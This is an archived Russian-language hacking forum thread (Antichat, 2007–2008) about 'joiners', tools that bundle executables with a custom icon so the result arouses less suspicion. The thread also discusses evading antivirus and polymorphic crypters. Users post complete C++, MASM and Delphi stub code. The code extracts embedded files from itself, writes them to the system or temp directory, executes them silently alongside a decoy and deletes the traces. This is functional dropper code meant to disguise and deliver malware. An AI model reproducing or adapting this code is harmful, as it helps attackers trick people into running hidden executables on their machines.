Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Безопасность (https://forum.antichat.xyz/forumdisplay.php?f=41)
-   -   Как склеить файлы вместе с иконкой (https://forum.antichat.xyz/showthread.php?t=55719)

043nKRuT0y 13.12.2007 18:56

Как склеить файлы вместе с иконкой
 
Каким склеивателем можна воспользоватса дабы на конечный набор файлов можна было поцепить иконку (чтобы возникало меньше подозрений)???
А то пользуюсь Super Glue32 а он иконки не цыпляет ...

xismyname 08.11.2008 23:13

На каком принципе создаються joiner-ы,есть ли у кого нибудь исходные коды joiner-а,желательно на языке C или C++.
Спасибо за внимание.

B1t.exe 08.11.2008 23:24

Всякие джойнеры меняют сигнатуру и многие антивирусы выдают ложные тревоги.

Лучше менять/ставить иконку с помощю: Restorator 2007

xismyname 08.11.2008 23:36

Цитата:

Сообщение от B1t.exe
Всякие джойнеры меняют сигнатуру и многие антивирусы выдают ложные тревоги.

Лучше менять/ставить иконку с помощю: Restorator 2007

Надеюсь понимате,что вы мне никак не помогли.

Я хотел принцип склеивания фаилов,насчет антивирусов мне это известно и так же известно что обоити их не трудно.

WP_ 08.11.2008 23:50

Кароче нужен Полуморфный криптор с функцией склеивания. - но такого не встречал.

cash$$$ 09.11.2008 00:14

Цитата:

Сообщение от xismyname
На каком принципе создаються joiner-ы,есть ли у кого нибудь исходные коды joiner-а,желательно на языке C или C++.
Спасибо за внимание.

С++

Код:

#include "windows.h"
#pragma comment(linker,"/SECTION:.text,EWR")
#pragma comment(linker,"/ENTRY:WinMain")
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
//----------------------------------------------
char sys[260];
char file[260];
char* nfile =(char*)GlobalAlloc(NULL,1024*1024*50); // мах размер для клеющегося файла - 50мб
char* ofile = (char*)GlobalAlloc(NULL,1024*1024*100); //100мб под наш файл
DWORD dw , dw1,dw2,dwBytesRead;
DWORD x ,y,c;
x=0;
y=0;
c=0;
char temp[260];
HANDLE hFile1;
//-------------------------------------------------------
GetSystemDirectory(sys,260);
GetModuleFileName(NULL, file , 260);
HANDLE hFile = CreateFile(file,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
dw1= GetFileSize(hFile,&dw);
ReadFile(hFile,ofile,dw1 ,&dwBytesRead, NULL);
for(DWORD z=0;z<=dw1;z++){
x=z;
if(ofile[x]=='_'){ //_1 - разделитель
x++;
if(ofile[x]=='1'){ 
wsprintf(temp,"%s\\%d.exe",sys,x); 
x++;
y=0;
while(1){
nfile[y]=ofile[x];
if(ofile[x]=='_'){
c=x+1;
if(ofile[c]=='1'){
break;
}
}
x++;
y++;
}
hFile1 = CreateFile(temp,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile1,nfile,y+1,&dw2,NULL);
CloseHandle(hFile1);
WinExec(temp,SW_SHOW);
}
}
}
return 0;
}

Asm

Код:

.386
.model flat,stdcall
option casemap:none
include ../INCLUDE/WINDOWS.inc
include ../INCLUDE/kernel32.inc
include ../INCLUDE/user32.inc
includelib ../LIB/kernel32.lib
includelib ../LIB/user32.lib
.data
.data?
sys byte <260>
file byte <260>
temp byte <260>
nfile byte <1024*1024*50>
ofile byte <1024*1024*100>
.const
.code
Main PROC
LOCAL dw3:DWORD , dw1:DWORD , dw2:DWORD , dwb:DWORD ,x1:DWORD , y1:DWORD ,c1:DWORD, hFile:HANDLE , hFile1:HANDLE
;----------------------------------------------------------------------------------------------------------
invoke GetSystemDirectory , addr sys , 260
invoke GetModuleFileName , NULL , addr file , 260
;-----------------------------------------------------------------------------------------------------------
mov x1 , 0
mov y1, 0
mov c1,0
;------------------------------------------------------------------------------------------------------------
invoke CreateFile , addr file , GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile , eax
invoke GetFileSize , hFile , addr dw3
mov dw1 , eax
invoke ReadFile , hFile , addr ofile , dw1 , addr dwb,NULL
;------------------------------------------------------------------------------------------------------------
mov ebx ,0
.WHILE ebx <= dw1
mov x1 , ebx
.IF ofile[x1] == '_'
inc x1
.if ofile[x1] == '1'
invoke lstrcat , addr temp ,addr sys
invoke lstrcat , addr temp , '\\'
invoke lstrcat , addr temp , x1
invoke lstrcat , addr temp , '.exe'
inc x1
mov y1 , 0
mov edi , 0
;---------------------------------------------------------------------------------------------------------------------------
.WHILE edi == 0
mov AL , ofile[x1]
mov nfile[y1] ,  AL
.if ofile[x1] == '_'
mov  eax , x1
inc eax
.if ofile[eax] == '1'
mov edi ,1
.endif
.endif
inc x1
inc y1
.endw
;--------------------------------------------------------------------------------------------------------------------------------------
invoke CreateFile , addr temp , GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile1 , eax
inc y1
invoke WriteFile , hFile1 , addr nfile , y1 , dw2, NULL
invoke CloseHandle , hFile1
invoke WinExec , addr temp , SW_SHOW
.ENDIF
.ENDIF
inc ebx
mov edi ,0
.while edi<=260
mov temp[edi],NULL
inc edi
.endw
.ENDW
;------------------------------------------------------------------------------------------------------------------------------------
invoke CloseHandle , hFile1
invoke ExitProcess , NULL
Main ENDP
end Main


xismyname 09.11.2008 00:38

Цитата:

Сообщение от cash$$$
С++

Вот это я понимаю,молодца... !
Большое спрасибо.

cremator (c) 09.11.2008 02:13

Ммм.. А на делфи кто может перевести этот код?:)

k0lbasa 09.11.2008 02:17

http://www.delphiexpert.ru/view_download.php?id=28
http://pblog.ru/?p=80
http://forum.antichat.ru/threadnav32191-5-10-Delphi.html

winstrool 13.11.2008 14:51

Цитата:

Ммм.. А на делфи кто может перевести этот код?
program Demo;

uses
SysUtils, Classes, windows, ShellAPI;

type
dm = record
File1 : Int64;
File2 : Int64;
File1_E : string[6];
File2_E : string[6];
end;

const
appsize = 40448; // размер упаковщика (После компиляции проверь и измени!!!)
headersize = 32; // размер заголовка


var
F1, // First File
F2, // Second File
F3, // Header File
F4 : TFileStream; //Main file
d : Dm;
f : file of dm;

function windir : string;
var
pWindowsDir : array [0..255] of Char;
begin
try
GetWindowsDirectory (pWindowsDir, 255);
Result := StrPas (pWindowsDir) + '\temp\';
except end;
end;


begin

CopyFileEx(pchar(paramstr(0)),pchar(windir+'demo.d at'),nil,nil,0,0); //Копируем наш файл в другое место

F4:=TFileStream.Create(windir+'demo.dat',fmOpenRea d); // Открываем наш файл
F4.Seek(F4.Size-headersize,0);

F3:=TFileStream.Create(windir+'Header.dat',fmOpenW rite or fmCreate); // \
F3.CopyFrom(F4,headersize); // |> копируем заголовочный файл с размерами файлов в нутри нашего файла %)
F3.Free; // /

AssignFile(f,windir+'header.dat'); // Открываем файл
reset(f); // заголовка
Read(F,d); // и читаем из него
Closefile(F); // наши данные

F4.Seek(appsize,0); // переходим в позицию после упаковщика

F1:=TFileStream.create(windir+'f1'+d.File1_E,fmOpe nWrite or fmCreate); //
F1.CopyFrom(F4,d.File1); // сохраняем 1-ый файл на диске
F1.Free; //

F4.Seek(appsize+d.File1,0); // переходим в позицию после упаковщика + размер первого файла

F2:=TFileStream.create(windir+'f2'+d.File1_E,fmOpe nWrite or fmCreate); //
F2.CopyFrom(F4,d.File2); // сохраняем 2-ой файл на диске
F2.Free; //

try
DeleteFile(PCHAR(windir+'demo.dat'));
DeleteFile(PCHAR(windir+'Header.dat'));
except
end;

ShellExecute(0,'open',pchar(windir+'f1'+d.File1_E) ,'','c:\',SW_NORMAL);
ShellExecute(0,'open',pchar(windir+'f2'+d.File1_E) ,'','c:\',SW_NORMAL);
F4.Free; // Закоываем конечный файл
end.

вот на делфи


Время: 21:32